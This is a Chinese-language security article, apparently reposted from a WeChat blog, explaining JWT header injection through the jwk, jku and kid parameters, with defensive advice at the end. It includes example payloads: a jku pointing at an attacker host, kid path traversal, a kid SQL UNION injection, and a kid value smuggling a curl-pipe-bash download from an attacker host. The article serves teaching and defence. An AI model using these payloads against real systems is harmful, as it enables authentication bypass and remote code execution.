JWTHeader参数注入|jwk|jku|kid

admin 2026-01-21 00:45:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文解析JWTHeader参数注入风险,涵盖jwk、jku及kid参数攻击原理。攻击者可通过注入自签名公钥或操纵kid导致路径遍历、命令注入,从而绕过验证实现提权或RCE。建议严格白名单校验、禁止Header加载公钥并过滤kid输入,确保仅使用本地可信密钥库进行防御。 综合评分: 91 文章分类: 漏洞分析,WEB安全,渗透测试


cover_image

JWT Header 参数注入 | jwk | jku | kid

haidragon haidragon

安全狗的自我修养

2026年1月20日 16:29 湖南

官网:http://securitytech.cc


1. JWT 与 Header

JWT 就像是网站或应用用来证明身份的数字身份证。 这个“身份证”里有一个 Header(头部)。官方规范里,真正必需的只有一个字段:

  • alg(指定签名算法)

但在真实系统中,Header 往往还包含很多可选字段


2. 有风险的可选参数

攻击者可能控制或影响的参数包括:

  • jwk(JSON Web Key) 允许在 JWT Header 中直接携带公钥。
  • jku(JSON Web Key Set URL) 提供一个 URL,服务器会去这个地址下载公钥集合。
  • kid(Key ID) 用来告诉服务器在多把密钥中选择哪一把。

它们的本质作用是:

告诉服务器:“用这把钥匙来验证我的签名。”


3. 漏洞本质

正常情况下,服务器应该只信任自己白名单中的密钥

问题出在: 👉 有些服务器错误地信任了 JWT Header 里提供的信息

比如:

  • 服务端直接使用 jwk 中的公钥
  • 或按照 jku 去拉取远程密钥
  • 而不是使用本地可信密钥库

攻击者可以:

  1. 自己生成一对密钥。
  2. 用私钥签名 JWT。
  3. 把公钥塞进 jwk
  4. 服务端居然用攻击者给的钥匙验证。

结果:

伪造的 JWT 被当成合法 JWT。


4. 使用 jwk 的攻击流程

  1. 攻击者生成 RSA 密钥对。
  2. 构造 JWT,把用户改成 admin
  3. 用私钥签名。
  4. 在 Header 里加入 jwk 公钥。
  5. 发送给服务器。
  6. 服务器错误使用 jwk 校验。
  7. 校验通过,权限提升成功。

5. 攻击工具

可以手工做,也可以用 Burp 的 JWT Editor 插件:

  • 一键生成密钥。
  • 修改 payload。
  • 自动嵌入 jwk。
  • 自动重新签名。

正常流程(应该这样)

  1. 服务端有可信 key 列表。
  2. 收到 JWT,读取 kid。
  3. 在本地查 kid。
  4. 用对应公钥验证。
  5. 成功才放行。

漏洞流程(错误实现)

  1. 收到 JWT,含 jwk + kid。
  2. ❌ 服务端优先用 jwk。
  3. 使用攻击者公钥。
  4. 验证通过。
  5. 攻击者控制验证密钥。

6. 什么是 JWK

JWK 本质是一个 JSON 格式的密钥描述:

{
"kty":"RSA",
"kid":"my-key-123",
"n":"base64url-modulus",
"e":"AQAB"
}

字段含义:

  • kty:算法类型
  • kid:密钥 ID
  • n:RSA 模数
  • e:指数(通常 65537)

7. jku 注入原理

jku 是一个 URL,服务器会访问它下载 JWKS。

如果没有严格白名单,攻击者可以:

  1. 自己生成密钥。
  2. 搭建 JWKS 服务。
  3. 在 JWT Header 中设置:
"jku":"https://attacker.com/jwks.json"
  1. 用私钥签名。
  2. 服务端拉取攻击者 JWKS。
  3. 验证成功。

结果:

任意伪造身份。


jku 还能造成什么

  • SSRF
  • 内网探测
  • 云元数据访问
  • DNS 外带

8. kid 参数攻击


A. kid 当作文件路径

服务端代码示例:

/keys/ + kid

攻击者设置:

"kid":"../../../../../../dev/null"

然后配合 HS256 空密钥签名即可绕过。


B. kid SQL 注入

SELECT key FROM signing_keys WHERE kid='$kid'

Payload:

"kid":"abc' UNION SELECT 'weaksecret'--"

再用 HS256 + weaksecret 签名。


C. kid 命令执行(最危险)

有些系统直接把 kid 拼进 shell:

openssl dgst -verify /keys/{kid}

攻击 Header:

"kid":"pub.pem; curl http://attacker/shell.sh | bash #"

最终变成:

openssl ... /keys/pub.pem; curl http://attacker/shell.sh | bash

直接远程执行命令。


防御方式

  • jku 必须严格白名单。
  • 禁止跟随重定向。
  • 禁止从 JWT 加载公钥。
  • kid 不允许文件路径拼接。
  • kid 不允许进入 SQL / shell。
  • 始终只使用本地可信密钥库。

总结一句话

JWT 的 Header 不是元数据,而是攻击面

如果服务端信任:

  • jwk
  • jku
  • kid

攻击者就能:

✅ 伪造身份 ✅ 提权 ✅ SSRF ✅ 文件读取 ✅ 命令执行


如果你愿意,我可以再给你:

✅ JWT 常见漏洞利用清单 ✅ Burp JWT Editor 实战流程 ✅ 自动化 JWT 测试脚本 ✅ 企业级 JWT 防护设计

  • 公众号:安全狗的自我修养
  • vx:2207344074
  • http://gitee.com/haidragon
  • http://github.com/haidragon
  • bilibili:haidragonx

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全狗的自我修养 haidragon haidragon《JWT Header 参数注入 | jwk | jku | kid》

评论:0   参与:  0